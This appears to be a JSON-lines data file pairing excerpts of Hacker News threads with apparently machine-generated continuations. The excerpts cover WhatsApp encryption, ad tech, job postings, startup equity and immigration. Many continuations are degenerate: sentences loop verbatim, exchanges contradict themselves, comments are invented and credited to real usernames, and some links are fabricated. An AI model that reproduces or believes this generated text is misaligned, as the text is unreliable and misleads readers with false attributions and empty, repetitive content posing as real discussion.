apps in the world & thus likely to have\nlots of people looking at it.\n\nIf you don't trust it, is there any possible encryption scheme you would\ntrust?\n\n~~~\ndarklajid\nI think the general trust issues people have are\n\n\\- metadata / contact lists in the hand of Facebook\n\n\\- a proprietary binary that _claims_ to use said encryption schemes\n\nScenarios that you could come up with:\n\nThe next version of WhatsApp sends unencrypted data again.\n\nWhatsApp encrypts for your recipient just fine, but also encrypts the same\nmessage for the great Facebook skeleton key.\n\nBasically trust is a bigger problem than you acknowledge here, I think. If you\ntrust the encryption scheme, even the specific encryption implementation, then\nyou still need to trust the (binary, closed) application. Ignoring the\nmetadata issue completely for now.\n\n~~~\nrtkwe\n>The next version of WhatsApp sends unencrypted data again. >WhatsApp encrypts\nfor your recipient just fine, but also encrypts the same message for the great\nFacebook skeleton key.\n\nBoth of these can and would show up in an analysis of the code.\n\n------\nsleepychu\nweb.whatsapp.com still works, so clearly it's possible for something outside\nmy phone to gain access to my phone generated keys. That doesn't seem\nbackdoorable to me /s.\n\n~~~\npfg\nWhatsApp Web communicates directly with your phone. You have to authorize the\nsession from within the app. Communication between your browser and the"} +{"output_text": " my opinion and I am not a fan of adtech.\n\n~~~\ndang\nI don't know what you're talking about.\n\n~~~\ndedalus\nI am not a fan of adtech. I am a fan of the internet. I am a fan of the\nadvertising industry. I am a fan of the internet. I am a fan of the\nadvertising industry. I am a fan of the internet. I am a fan of the\nadvertising", "input_text": " die in ignominy. Obviously that'll never\nhappen, but we should be working towards ways to make advertising obsolete or\nunprofitable, and we should be ostracizing people like the author who try to\nor want to make things better for advertisers.\n\nThe promise of the internet was users as first-class citizens, not users as\nmindless consumers of hostile advertising.\n\n~~~\nSerLava\nHostile advertising and advertising in general aren't the same thing.\n\nI'd be the first to point out that advertising has motivated a wide array of\nterrible things, especially in the last few years. But advertising at its\nbarest sense can be and usually is a net positive force.\n\n~~~\nna85\n>Hostile advertising and advertising in general aren't the same thing.\n\nAre you sure?\n\n~~~\nSerLava\nGood point.\n\n------\nmonochromatic\nWe don't need an ad tech renaissance. We need to burn it to the fucking\nground.\n\n~~~\nHugoDaniel\n^ this.\n\n------\nmajewsky\n> The tracking tech renaissance\n\nFTFY\n\n------\nTheAdamist\nI don't know if it was due to manual ad reviewers being on holiday or what,\nbut i was getting a bunch of ad hijacking or malvertisements over the weekend\nfrom legit websites. If even legit sites can't keep up with this then no\nwonder everyone is running ad blockers just to keep safe from legit sites.\n\n------\ndedalus\nreally nice article detailing some nuances\n\n~~~\ndedalus\nreally surprised by the downvote without any reason. so much for tolerance of\nopposite views. The author is an authority in adtech (CEO of App Nexus). I\nexpressed"} +{"output_text": " online or email me directly at josh@curiousmedia.com\n\n------\njoshu\nSan Francisco, CA - Full Time - ONSITE\n\nWe're looking for a full-stack developer to join our team. We're a small team\nof four, and we're looking for someone who can help us build out our\ninfrastructure and our web applications.\n\nWe're a small team of four, and we're looking for someone who can help us\n", "input_text": "experiences for children and adults alike. We create everything from kids\nmovie websites to games, apps and connected toys. Our regular clients include\nDisney, Hasbro, Warner Bros., PBS Kids, Scholastic, Dreamworks and a host of\nother kid focused companies.\n[http://www.curiousmedia.com](http://www.curiousmedia.com)\n\nWe\u2019ve been around since 2004 and have a team of 35. We are extremely stable\nand have many employees who have been with the company for 6-12 years now. We\nare very mindful and focused on being a family friendly workplace, both in the\ntype of jobs we take and our expectations of employees time. We rarely work\nmore than 40 hours a week and when we do, we give PTO at a 1:1 ratio (any\nhours over 45 in a week).\n\nWe are more specifically located in Nampa, about 14 miles west of Boise. Many\nemployees commute from Boise/Meridian and its rarely more than a 25 minute\ncommute as all the traffic is going towards Boise (and the opposite on the way\nhome). This area is amazingly affordable and provides easy access to a wealth\nof outdoor activities. The closest respectable ski mountain is only about 30\nminutes from downtown Boise and there are some world class resorts within 2-3\nhours (Sun Valley, Tamarack, Brundage). If you are from one of the larger\ncities and looking for a change of pace, you should check Boise out!\n\nMore details here: [http://www.curiousmedia.com/assets/content/curious-media-\nweb...](http://www.curiousmedia.com/assets/content/curious-media-web-\ndeveloper.pdf)\n\nApply"} +{"output_text": "-\nmarketing-ab-testing-and-retargeting-presentation/)\n\n------\njimmygatz\nThanks for the feedback, I really appreciate it.\n\nI'm not sure if I'm doing the right thing by focusing on the retargeting\nsuggestion. I'm not sure if I should be doing that or if I should be focusing\non the other suggestions.\n\nI'm not sure if I'm doing the right thing by focusing on the", "input_text": "www.perfectaudience.com/) [1]\n[https://www.optimizely.com/](https://www.optimizely.com/) [2]\n[http://phpabtest.com/](http://phpabtest.com/) \\- I haven't ever used this so\nyou may want to do some research yourself.\n\n~~~\njimmygatz\nThanks a lot for the response, I really appreciate it. PerfectAudience looks\ngreat, I've installed it and am reading about it now.\n\nAs for AB testing are there any good resources you can recommend to learn\nabout it? We have no idea where to start with regards to what to test\ninitially. I'm assuming \"conversion funnel analysis\" tools like Mixpanel\nshould also guide our decision. Can you recommend any good resources to read\nabout that also?\n\nSorry for all the questions and thanks again for your quick response.\n\n------\nsoneca\nI think you should focus on changes that will provide bigger gains. From\njoncalhoun comment I heavily endorse the retargeting sugestion, but I don't\nthink you should worry so much about AB test for now. AB test depends on some\nheavy and constant traffic and a more predictable knowledge of your audience\nbehavior. I think you are too early on it to gain a lot from AB testing.\n\nAnother sugestion is assortment and marketing. I think you already have very\ngood channels and niche, but you might exepriment a little more.\n\nPlease, read all this presentation:\n[http://www.heavybit.com/library/video/2013-07-16-michael-\ndea...](http://www.heavybit.com/library/video/2013-07-16-michael-dearing"} +{"output_text": "'m not sure I understand the point of this article. It's a list of things\nthat are wrong with the world, and then it's a list of things that are right\nwith the world.\n\n~~~\njoshu\nI think the point is that the world is a mess, and we're all just trying to\nmake it better.\n\n~~~\nbsimpson\nI think the point is that the world is a mess, and we're all just trying to", "input_text": "ays: \"Basically, Nick developed the original code for Summly.\"\n\n>\"After the original product was built, SRI supported development of the\ntechnology and provided artificial intelligence expertise in machine learning\nand natural language processing.\"\n\nI don't know about you, but I need a pretty large grain of salt.\n is a youtube demo of his first\napp, trimit, 9 months and $300,000 in VC before summly. It seems 2 comprez ur\nmezages like this. Maybe that's the original code.\n\n~~~\neridius\nAt the 1 minute mark he says \"some other.. form.. of documentation.. which I\ndon't know what that is\". So either he misspoke, or he didn't actually even\ndevelop that original app.\n\n~~~\ndangero\nThe video isn't made by the Summly founder. It's just a random person\nreviewing the app.\n\n------\npodperson\nI used automatic summarization to try to reduce the article to a pithy tweet\nand ended up with:\n\n\"Fuck, I don't know. And what's with Bezos investing in BusinessInsider? And\nwhat is Amazon's business plan anyway? And why does Apple's stock keep\ndropping whenever it gains market share?\"\n\n~~~\nOGinparadise\n_And what's with Bezos investing in BusinessInsider?_\n\nFor peanuts they more or less buy good coverage in a widely read news site. A\ncertain VC fund also invested in them and PandoDaily. It's a great investment,\neven if Business Insider goes kaput 2 years from now.\n\n------\nbsimpson\nI"} +{"output_text": "townsquared.com/blog/job/front-end-engineer-all-levels/) \u2022\nProduct Designer: [https://townsquared.com/blog/job/product-\ndesigner/](https://townsquared.com/blog/job/product-designer/) \u2022 Senior\nSoftware Engineer: [https://townsquared.com/blog/job/senior-software-\nengineer-all...](https://townsquared.com/blog/job/", "input_text": "ribbble.com/roy) or visit\n[https://roybarber.com](https://roybarber.com)\n\nAny questions or enquiries? email: hi@roybarber.com\n\no~~o~~o~~o~~o~~o~~o~~o~~o~~o~~o~~o~~o~~\n\n------\njerrytsai\nTownsquared | San Francisco, CA | Full-time | ONSITE |\n[https://townsquared.com/](https://townsquared.com/)\n\nTownsquared is the only online network that allows local businesses and\nindependent professionals to connect privately. Members have access to all of\nthe other businesses in their local neighborhood to ask and answer questions,\npost events, find partners, and ultimately build thriving businesses.\n\nWe are a Series B funded startup (Sierra Ventures, Intuit, August Capital,\nFloodgate, among others) in the heart of San Francisco with a diverse team of\ndriven people working at the intersection of cutting\u00ad-edge design, complex\ntechnology, and social good. We offer the ability to help build a product that\nenables economic change and affects people in a real way.\n\nWe're hiring for many roles including: \u2022 Data Engineer:\n[https://townsquared.com/blog/job/data-\nengineer/](https://townsquared.com/blog/job/data-engineer/) \u2022 Full Stack\nEngineer: [https://townsquared.com/blog/job/full-stack-engineer-\nlevels/](https://townsquared.com/blog/job/full-stack-engineer-levels/) \u2022 Front\nEnd Engineer: [https://townsquared.com/blog/job/front-end-engineer-all-\nleve...](https://"} +{"output_text": " invest in art. We are a small team of\nengineers, designers, and art lovers who are passionate about making the\ninvesting process more accessible to everyone. We are looking for a senior\nbackend engineer to join our team.\n\nYou will be working on our core product, which is a web application that\nallows users to create and manage their art portfolios. You will be working\nwith a small team of engineers and designers to build a product that is\nbeautiful", "input_text": " role as Senior Frontend Engineer will be to drive the customer\nfacing design and code across the tray.io platform.\n\nWe currently use:\n\n\\- ES6, React, Redux, Node\n\n\\- Babel, Webpack, Jest\n\n\\- Photoshop, SketchTypekit, Google Fonts, FontAwesome, Bulma\n\nUsual benefits apply: Stock, Open holiday policy, Private healthcare, 50% off\ngym membership, Fitbit, Conference budget.\n\nApply: [https://tray-io.workable.com/jobs/23131](https://tray-\nio.workable.com/jobs/23131)\n\n------\njorge_egym\neGym | Berlin and Munich | Senior Java Backend Engineer | ONSITE\n\nWe are pioneers in digitizing gyms and our vision is to make the gym work for\neverybody.\n\nYou want to work in a cloud-based environment with amazing colleagues? Then\njoin us @ eGym.\n\n _get to know various parts of our eGym ecosystem_ design backend\nfunctionality and its architecture * have a say in how to architect your\nsolutions.\n\nAs a Senior Java Backend engineer @ eGym you will work in a cross-functional\nand international team that enjoys a lot of creative freedom and\nresponsibility. Share your passion for functional programming with your\ncolleagues and solve complex problems.\n\n[https://www.egym.com/jobs/department/it](https://www.egym.com/jobs/department/it)\n\n------\nartivest\nArtivest | New York, NY (onsite in Flatiron) | artivest.co We are building a\nbetter and more accessible way to"} +{"output_text": " get\ndouble digits.\n\n~~~\ntaneq\nI'm not sure I follow. If you join BEFORE seed money, you're not a founder,\nright?\n\n~~~\nbrianwawok\nIf you join BEFORE seed money, you are a founder.\n\n~~~\ntaneq\nI'm not sure I follow. If you join BEFORE seed money, you're not a founder,\nright?\n\n~~~\nbrianwaw", "input_text": " time to be starting a company. All aboard!\n\nWow that's the worst example of sample bias I've ever seen. It betrays the\nfund's motives behind this post, I suppose.\n\n------\njdavis703\nI think this is a very interesting question to ask when interviewing at a\nstartup: \"If you're not successful, why do you think that will be?\" And also\n\"what leads the culture\" (engineering, sales, design etc).\n\n------\ncontingencies\nSector spread (Q51) is very biased; perhaps the method of sourcing respondents\nwas insufficiently broad or random.\n\n------\nmisiti3780\n1 out of 5 founders thinks they are raising a unicorn?\n\n~~~\nalmostarockstar\n1 out of 5 founders want you to think that they think they are raising a\nunicorn.\n\n------\ndmark3\nSo 10% of startups give out more than 1% of equity to a mid-level engineer?\n\nPerhaps this is a small sample, but it sounds odd.\n\n~~~\nbrianwawok\nWhat should first and second hire get? 1 or 2% doesn't seem crazy after a seed\nround.\n\n~~~\ntaneq\nAnyone who puts in sweat equity should get double digits IMO (unless the\ncompany has been around for years as a one man band, and maybe even then.)\n\n~~~\nptero\nDouble digit ownership usually means the person is a cofounder. This question\nwas about engineers.\n\n~~~\ntaneq\n...who by definition aren't cofounders? Maybe I'm on the wrong site. O.o\n\n~~~\nbrianwawok\nIf you join BEFORE seed money, and do a bunch of work for free, you can"} +{"output_text": "). This is a service which is sold to furniture manufacturers, who\nthen sell the finished product to the public.\n\nSo - if you're a prisoner, you're probably doing something which is sold to\nthe public, and you're probably doing it for a profit.\n\n~~~\ninterfixus\n> _Many prisons in the US are privately operated (Corrections Corporation of\n> America is one of the large companies that run private prisons)._\n\nI'm not sure", "input_text": " as yet very ill defined. But this isn't the hill I'd choose to die on.\n\n------\ninterfixus\n> _In the DOJ\u2019s world, this means anyone under 18 who reads a Hearst newspaper\n> online could hypothetically face jail time_\n\nJail time? What is it with this American propensity for locking up more or\nless everybody? As seen from the other site of the pond, it does at times sort\nof beggar belief.\n\n~~~\ncr0sh\nMany prisons in the US are privately operated (Corrections Corporation of\nAmerica is one of the large companies that run private prisons).\n\nThese companies then sell certain services to the public - such as\ntelemarketing (seriously). In other words, that person you're talking to in a\ntelemarketing context may very well be a prisoner in a CCA owned facility!\n\nNow - prisoners aren't forced (?) to participate in these activities, but they\nare highly encouraged; it gives them a bit of money for the commissary (very\nsmall bit) and other things, plus gives them \"job skills\" for the outside, and\nprobably also a mark on their records for later parole review purposes (\"hey,\nshe participated in this, and became a model \"employee\" as a telemarketer -\nlet's factor that into her record for an early release\").\n\nSo - there is a strong incentive to participate in these programs. They aren't\nlimited to telemarketing either: If you can think of something which can be\ndone by low-skilled workers who are a \"captive audience\" so to speak, it is\nprobably sold as a service by these private prison companies to other\nbusinesses.\n\nFor instance, another big one is \"product assembly\" (putting furniture\ntogether"} +{"output_text": " so it's not really\ncross browser.\n\n------\njameswyse\nI've been working on a similar project for a while now. It's a bit more\ncomplicated than this, but it's a lot more flexible.\n\n\n\n------\njameswyse\nI've been working on a similar project for a while now. It's a bit more\n", "input_text": " is shared on the internet.\n\n~~~\nukc\nLooking forward to seeing more projects like these - is the heroku app open\nsource?\n\n------\nbencevans\nI wrote a li'l app that does something along the same lines. However it\ncaptures a data uri from the webcam video and sends it via a websocket to a\nsecond user who's also doing the same. It gives you a video chat just without\nthe audio... \n\nJust thought it may be of interest ;)\n\n------\nfranze\nhi, this is as good a moment as any to promote a little bit a lib i coded some\ntime ago.\n\na simple (cross browser) wrapper to make getUserMedia really simple, you call\n\n \n \n Sinne.getUserVideo(success, error[, options])\n //https://github.com/franzenzenhofer/Sinne\n \n\nand get back a nice HTML5 video element with the webcam as the input\n\nhere is a simple demo using the `Sinne` \\- an\nHTML5 mirror\n\n~~~\nse85\nYou can't really call it cross browser when it doesn't support browsers that\ndon't have getUserMedia.\n\nYou had me excited for a second there because something like this with a flash\nfallback mechanism would be really, really useful.\n\n~~~\nfranze\naddy osmani has coded which\nhas a flash fallback, but the thing is that the flash fallback still needs you\nto implement a complete different logic then getUserMedia,"} +{"output_text": "\nstations in your area and you'll see what I mean.\n\n~~~\njamesbritt\n_In Australia they say there are three accents: broad, general and\ncultivated, and which one you have is mostly about your socioeconomic level._\n\nI've heard this, but I've never seen it put into words.\n\n~~~\nhugh3\nI think it's a bit like the \"three-legged stool\" metaphor. Broad is the\ngeneral", "input_text": "-level. The system doesn't\nencourage it. You do your 3-5 A-levels, and people tend to focus on the Arts\nor the Sciences, with little to no overlap.\n\nAlso, I was never offered sherry at a tutorial, but I did have friends\nstudying English who were offered wine~\n\nOn a related note, this is a good summary of the differences between English\nvs American values/elite educations:\n[http://www.yaledailynews.com/news/2010/apr/23/whats-\nbetter-o...](http://www.yaledailynews.com/news/2010/apr/23/whats-better-\noxfords-depth-or-yales-breadth/)\n\n------\nhugh3\nThere's a lot to be written on the subject of the British (or just the\nEnglish, the other parts of Britain being a whole different ballgame) and\nspeech. Certainly I don't know of anywhere else where a person's manner of\nspeech tells you nearly as much about their geographical and socioeconomic\norigin. (But of course, I only speak one language so my attention is pretty\nrestricted).\n\nIn Australia they say there are three accents: broad, general and cultivated,\nand which one you have is mostly about your socioeconomic level. In my\nexperience, though, it's more of a spectrum, and the \"broad\" accent goes in\nseveral different directions depending on where you are -- I can usually pick\nout a Queenslander, for instance.\n\nThe most interesting thing I've noticed about American accents is that you can\noften tell someone's _political_ persuasion, at least on the radio, if not\nfrom their accent then from their manner of speaking. Flip through the radio"} +{"output_text": "?\n\n[1] [http://www.datacenterknowledge.com/archives/2013/04/01/how-\nto...](http://www.datacenterknowledge.com/archives/2013/04/01/how-to-make-\nmoney-from-photos-on-facebook/)\n\n~~~\njoshu\nI think the point is that they are not deleting photos.\n\n~~~\nmikegioia\n", "input_text": " whats app's architecture\n\n\"Our results have demonstrated the fantastic scalability of Erlang, and in\nthis talk we will share some of the discoveries and modifications we have made\nalong the path to supporting millions of connected users per server. \"\n\n[https://vimeo.com/44312354](https://vimeo.com/44312354)\n\nSome of the speculations about why facebook bought them is their architecture\nbuild on top of Erlang\n\n~~~\nsimonw\nFacebook Chat was originally written in Erlang:\n[https://www.facebook.com/notes/facebook-engineering/chat-\nsta...](https://www.facebook.com/notes/facebook-engineering/chat-stability-\nand-scalability/51412338919) \\- but they ended up switching it from Erlang to\nC++: [https://www.quora.com/When-did-Facebook-switch-away-from-\nusi...](https://www.quora.com/When-did-Facebook-switch-away-from-using-Erlang-\nfor-Facebook-Chat)\n\n------\nadamnemecek\nGood thing that those graphs have the y-axis labeled.\n\n------\nckluis\n40 PB a day for photos...\n\n~~~\nmikegioia\nThis is the part that I have trouble wrapping my head around. If you're\n_adding_ 40 PB of photos per day, and if you can somehow get say $0.01/GB [1]\nthen that's adding $400,000 per day in storage costs.\n\nFacebook doesn't/can't/won't delete photos so how on earth is this\nsustainable? After 10-20 years wouldn't hosting costs just be too high to\nfunction"} +{"output_text": " [http://grnh.se/y3vipr1](http://grnh.se/y3vipr1)\n\n-Lead Data Engineer: [http://grnh.se/y3vipr2](http://grnh.se/y3vipr2)\n\n-Data Scientist: [http://grnh.se/y3vipr3](http://grnh.se/y3vipr3", "input_text": " \n \n ***************\n = Looking for =\n ***************\n \n\n\\- Fullstack engineer\n\nIf you'd like to learn more, please shoot us an email at hello@armada.ai (feel\nfree to mention Marc)\n\n~~~\nitamarst\nYou realize in the movies Skynet tried to destroy humanity?\n\n------\nmattmhickman\nHandshake | Software Engineer | 2601 Mission St, San Francisco, CA |\n[https://www.joinhandshake.com](https://www.joinhandshake.com)\n\nOur mission is to democratize opportunity - to make it easy for any student to\nbuild a great career, no matter where they go to school, what they're majoring\nin, or who they know.\n\nBacked by $34m from Spark Capital, Kleiner Perkins, True Ventures and\nLightspeed Partners, Handshake has partnered with 170 universities (schools of\nall sizes and locations, including Stanford, Princeton, UVA, Michigan, Texas,\nSpelman and Harvey Mudd), and has more than 3 million student profiles and\n100,000 companies recruiting on our platform, including 95% of the Fortune\n500. Our extensive data on students' interests and historical career outcomes\ngives Handshake the unique ability to help students imagine, plan and\njumpstart their future careers.\n\nCome join our passionate, diverse team at our beautiful offices in the heart\nof the Mission in San Francisco!\n\nHiring for:\n\n-Full stack developers (we're a RoR shop but open to all types of software engineering backgrounds): [http://grnh.se/y3vipr](http://grnh.se/y3vipr)\n\n-Lead Mobile Engineer:"} +{"output_text": " a good time to start looking.\n\n------\njoshstrange\nI'm not sure I agree with the premise of this article. I think the author is\nmissing the point of the article.\n\nThe author is saying that if you are a developer at SoundCloud and you are\nnot getting paid market rate, you should start looking for a new job.\n\nI think the author is missing the point of the article. The author is saying\nthat if you are a", "input_text": " you owe the bank $100, you've got a problem. If you owe\nthe bank $100M, the bank has a problem.\"\n\nHere's a tweaked version. If you can't get a raise, you have a problem. If a\ncompany can't pay its employees market rate, the company has a problem.\n\nI pretty firmly believe that if money is tight at a company, paying fewer\npeople more money (and setting higher expectations around performance) is the\nway to go. Otherwise you end up with top talent leaving and those left feel\nentitled to not give 100% (because they aren't being paid 100%).\n\n------\nbenjaminwootton\nPosting this with the company name is a little indiscreet.\n\nIf it was my company and I was having a bump in the road with funding I would\nhope for it not to immediately hit the front page of HN for the sake of a few\nweeks.\n\nSoundcloud actually have a good reputation as an employer so maybe they\ndeserve a small benefit of the doubt? I get the mercenary attitude but it's\nonly potentially a few weeks or months for an incremental pay rise, not as if\nthey are going under....\n\nI suspect this won't be a popular point of view but I like to think company\nand employee owe each other at least a modicum of loyalty.\n\n~~~\n_e\nThe OP is anonymous. Are there any other SoundCloud employees willing to stand\nup and confirm these accusations?\n\n~~~\nbabo\nThat would make it even worse.\n\n------\nviraptor\nYou don't lose anything by starting to look at alternatives. You don't have to\ndo that full time either. But if you're uncertain about the future, while\nstill holding a paying job, this is"} +{"output_text": ".)\n\n~~~\nalgolicious\nI'm not sure I agree with your assessment. I think the karma system is\nprimarily used to reward developers for good work. I don't think it's used to\npunish developers for bad work.\n\n~~~\nnbm\nI think you're right. I think the karma system is primarily used to reward\ndevelopers for good work. I don't think it's used to punish developers for\nbad work.\n", "input_text": "ly large that savings of even 1% are praiseworthy. Quite a bit of\neffort is expended to keep this going down and to the right (at least some of\nthe time).\n\n------\nalgolicious\n_Facebook's testing practices and culture of developer accountability help to\nprevent serious bugs from being rolled out in production code. When a\ndeveloper's code disrupts the website and necessitates a post-deployment fix,\nthe incident is tracked and factored into Facebook's assessment of the\ndeveloper's job performance.\n\n[...]\n\nEmployees with low karma can regain their lost points over time by performing\nwell\u2014though some also try to help their odds by bringing Rossi goodies. Booze\nand cupcakes are Rossi's preferred currency of redemption; the release\nengineering team has an impressive supply of booze on hand, some of which was\nsupplied by developers looking to restore their tarnished karma._\n\nThis sounds like Facebook strongly rewards developers who work on trivial,\nlow-risk features rather than larger, more important features. Also, it sounds\nlike bribery factors into your overall job performance rating.\n\n~~~\nnbm\nPush karma primarily affects how likely the release engineering team will\naccept any breaking of the standard rules of getting your code into the push.\nIt generally doesn't drop if you are responsive and responsible for any\nproblems your change causes. The only way to restore points is to show respect\nand consideration for the hard work the release engineering team does.\n\n(I'm not 100% sure, but I think most of the booze and cupcakes come from\npeople who were appreciative of the release engineering team for bringing\npotential issues to their attention or for being accommodating in terms of\nhours and in terms of delay to get things fixed"} +{"output_text": ". only)\n\nPhaxio is a small, profitable, and rapidly growing company that is looking to\nadd a few more people to our team. We are a small team of developers,\ndesigners, and product managers who are passionate about building great\nproducts. We are looking for a few more people to join our team.\n\nWe are looking for:\n\n* Senior Front-end Developer (React, Redux, ES6, Webpack, Babel,", "input_text": ") a link to your profile on LinkedIn.\n\n------\nbillytetrud\nTechincal Cofounder | San Francisco Bay Area, CA | Tixit | Full Time or Half\nTime | Equity: 10-20% | REMOTE welcome\n\nI'm Billy Tetrud, the Founder of Tixit. We're a small (9 person) team building\na lightening fast extensible project management system. We're looking for a\n2nd technical cofounder to accelerate the development of our product. You'd be\nworking with me (the other technical cofounder) in designing and implementing\nthe core backend as well the web frontend. We value our test-driven\ndevelopment, clear internal and external documentation, and doing things right\nto build and maintain momentum. Our stack is node.js and mongodb. I'm happy to\nchat with you over the phone or skype about what we're doing. We're just about\nto announce our public beta this month.\n\nEmail me at billy@tixit.me and mention you're from HN, I'd love to hear what\nyou've been working on.\n\nCheck out more info about us at\n[https://angel.co/tixit-1](https://angel.co/tixit-1) and more info about the\nposition at [https://angel.co/tixit-1/jobs/114395-technical-co-\nfounder](https://angel.co/tixit-1/jobs/114395-technical-co-founder)\n\nThanks, Billy Tetrud, Founder at Tixit, billy@tixit.me\n\n------\nrabidonrails\nPhaxio | Chicago | Full-time | REMOTE OK (U.S"} +{"output_text": "least one bot that was able to recognize that the prime numbers are the\nnumbers that are only divisible by themselves and 1, and that's it.\n\nI'm not sure what the point of this is, but I'm not sure it's a good one.\n\n~~~\njoshuamorton\nI think the point is that the algorithm is not very good at understanding\nhumour.\n\n~~~\njoshuamorton\nI think the point is that the", "input_text": " /r/jokes\n([https://www.reddit.com/r/SubSimulatorGPT2/comments/d055mt/a_...](https://www.reddit.com/r/SubSimulatorGPT2/comments/d055mt/a_guy_is_having_a_hard_time_with_his_wifes/?utm_source=share&utm_medium=web2x)\n) or /r/math\n([https://www.reddit.com/r/SubSimulatorGPT2/comments/d1yz1e/ho...](https://www.reddit.com/r/SubSimulatorGPT2/comments/d1yz1e/how_exactly_does_the_number_1_not_equal_2/)\n) the algorithm is definitely unable to deal with deeper structure right now.\nThe /r/jokes bot is humorous in its complete lack of humor, I mean, well\nbeyond any sarcastic snark about how unfunny /r/jokes may be. It has the\nstructure of jokes. There was one recent one that even asked \"What's a\npirate's favorite letter?\", and the bot had noticed the answer was being given\nin the form of letters, but I don't think a single instance of the bot\nproposed \"r\". But it does not understand humor in the _slightest_. Of the\nseveral dozen attempts at jokes I've at least skimmed, I believe it only\nachieved something that was at least recognizable as an attempt at humor once,\nand it still wasn't that funny. Likewise math. It's got a good idea there's\nthese \"prime number\" things and they're pretty important, but I've seen at\n"} +{"output_text": " good article on the topic:\n[http://www.nytimes.com/2014/03/19/opinion/sunday/the-\nunion-i...](http://www.nytimes.com/2014/03/19/opinion/sunday/the-union-is-\ncoming-to-games.html)\n\n------\njoshu\nI'm not sure I understand the point of unions.\n\n~~~\npandaman\nI", "input_text": "\nAlso, payment is just one of many issues in a workplace. The basic need for a\nunion is that the company's owners have the mechanisms for thinking,\ndiscussing, deciding acting collectively and concertedly, but its employees do\nnot. That's what a union should be.\n\nOn that basis, employees may want to tackle issues like:\n\n* Treatment by managers/management * Workplace culture * Physical working conditions * Workforce size vs. \"squeezing\" of existing employees * Advancement opportunities within the company/organization * Professional standards\n\nand so on.\n\nFinally, remember that a gaming development house has a lot of employees other\nthan developers per se: QA, art, production, administrative etc.\n\n> Nowadays people mostly crunch... or because they are paid OT.\n\nIf people make a good salary, they don't work overtime because they don't need\nto. There must be some kind of psychological pressure in that direction.\nOverwork should be avoided.\n\n\\- who have joint interests and may wish to discuss things, take decisions,\nand act collect\n\n~~~\npandaman\nI am not discussing whatever reasons you envisioned for unionization of our\nindustry from the outside. I am just noting where the unionization effort is\nactually coming from. Pardon my cynicism, but I don't believe the big union\ncare about anything other than payment, which drives their fees. Otherwise, as\nI said, they would had been pushing in retail with, at least, same effort as\nthey do in the games industry.\n\n>If people make a good salary, they don't work overtime because they don't\nneed to.\n\nSure, they don't need to but, nevertheless, they like their fat bonuses.\n\n------\nlbotos\nHere is a"} +{"output_text": " of the US immigration system you should be\nable to get a green card.\n\n~~~\nnphase\nI'm not sure I agree with that. I've heard that the US immigration system is\nnotoriously difficult to navigate, and that it's not uncommon for people to\nspend years in the process.\n\n~~~\njacquesm\nI've heard the same thing, but I've never had any problems with the US\nimmigration system.\n\nI've been", "input_text": "'s Linux Kernel Development and see what you\nthink. It sounds like you're going for something much lighter, so maybe\nsomething along the lines of the \"Little Book on Coffeescript?\"\n\n------\nktf\nDidn't even have to think about this one: _Eloquent Javascript_, by Marijn\nHaverbeke. He's an amazing writer and a brilliant all-around guy. Technically\nit's geared toward new programmers, but it's worth a read at pretty much any\nlevel.\n\nYou can find it free online here:\n[https://eloquentjavascript.net/](https://eloquentjavascript.net/) or buy a\nprint version here: [http://nostarch.com/ejs](http://nostarch.com/ejs).\n\n(Full disclosure: I'm listed as the editor on the print version, though in\nthis case my job basically consisted of nodding as chapters came in and\nsaying, \"Yup, that's a damn good book.\")\n\n------\nLocalMan\nProgramming Pearls: [http://netlib.bell-\nlabs.com/cm/cs/pearls/](http://netlib.bell-labs.com/cm/cs/pearls/)\n\nBest Software Writing:\n[http://www.joelonsoftware.com/articles/BestSoftwareWriting.h...](http://www.joelonsoftware.com/articles/BestSoftwareWriting.html)\n\nLast resort: Bring a sleeping pill and sleep through the flight.\n\n \nAnother awesome US immigration experience - nphase\nhttp://seldo.tumblr.com/post/39891584034/another-awesome-us-immigration-experience\n======\njacquesm\nAs long as you feel the benefits"} +{"output_text": "\nI have a few projects that I am working on and I am working on a few more.\n\nI have a few side projects that I am working on and I am working on a few\nmore.\n\nI have a few side projects that I am working on and I am working on a few\nmore.\n\nI have a few side projects that I am working on and I am working on a few\nmore.\n\nI have a few side projects that I am", "input_text": " and\npersonality that I feel programming balances it out. Also, since I'm still\npretty new to this, software feels like a new frontier with loads of\npossibilities. I get this feeling of there being gold at the end of every\ntunnel of knowledge.\n\n------\nekr\nI don't think you can get useful answers or of this thread simply because most\nhumans don't have metacognitive introspective awareness; it's not something we\nevolved to have, in fact it is something that would bring negative\nreproductive fitness, given that the brain has mechanisms to actually hide the\nroot motivation for our urges.\n\nThe best way would be to study the neuroscience of human motivation. There's a\nspecific brain circuit involved. But from another perspective, we do what we\ndo to fulfill various needs, mostly security and belonging. That can result in\nthings as complex as status games.\n\nThings are a lot more complex than that, if you consider the evolutionary\nhistory of the brain stem, limbic system and the cortex, each newer system is\nable to override the older one, resulting in completely different behaviour.\n\n------\nburntoutfire\nMake money -> retire. Should achieve it in a about a year from now, a bit\nunder forties. The project is relatively undemanding if you know how to deal\nwith the stress of corporate misery (nothing works as it should, the\nrequirements are shit etc.). After that, who knows, make an indie game? The\nunderlying goal is to strive for mastery, autonomy and balance in life, none\nof which I think I can achieve while in a career.\n\n------\naustincheney\nI love building things and software pays more than carpentry, so there I love\nwriting software and do so full time.\n"} +{"output_text": " has a central\ngovernment that can change course at any time).\n\n~~~\ntokenadult\n_imagine living in a country that has a central government that can change\ncourse at any time_\n\nI think that's a good point. I have lived in a country that has a central\ngovernment that can change course at any time, and I have lived in a country\nthat has a central government that can change course only when the people\ndemand it. I think the Chinese", "input_text": "\n[http://embedded.com/columns/technicalinsights/205918952?prin...](http://embedded.com/columns/technicalinsights/205918952?printable=true)\n\n~~~\nambition\nIt's generally preferred to submit the print link in the first place when\navailable. So, yes, it's cool here on HN.\n\n------\nnazgulnarsil\nbeyond the aforementioned embarrassingly parallel problems I don't think we'll\nsee much performance increase once we reach the point where each app/process\nis running on its own core.\n\n~~~\nJulianMorrison\nOn my Linux machine, not even a server but just a desktop, there are 111\nrunning processes. There's room for growth in multi-core yet.\n\n~~~\nwmf\nDon't you mean there are 111 sleeping processes? It's unlikely that a desktop\nwould have so many runnable processes.\n\n~~~\nJulianMorrison\nAh, my use of \"running\" was misleading. That's just a crude line count of the\n\"ps ax\" listing. (And I probably counted the header line - d'oh!) Yes, most\nare sleeping.\n\n \n\nThe End of China\u2019s Economic Miracle? - tokenadult\nhttp://online.wsj.com/articles/the-end-of-chinas-economic-miracle-1416592910\n\n======\ncalebreed\nInteresting article, thanks for posting! While I agree that there has been\nover-extension with regards to infrastructure development especially in\nresidential housing, one thing I think we should remember is the power the\ncentral government in China holds to change course when necessary, even when 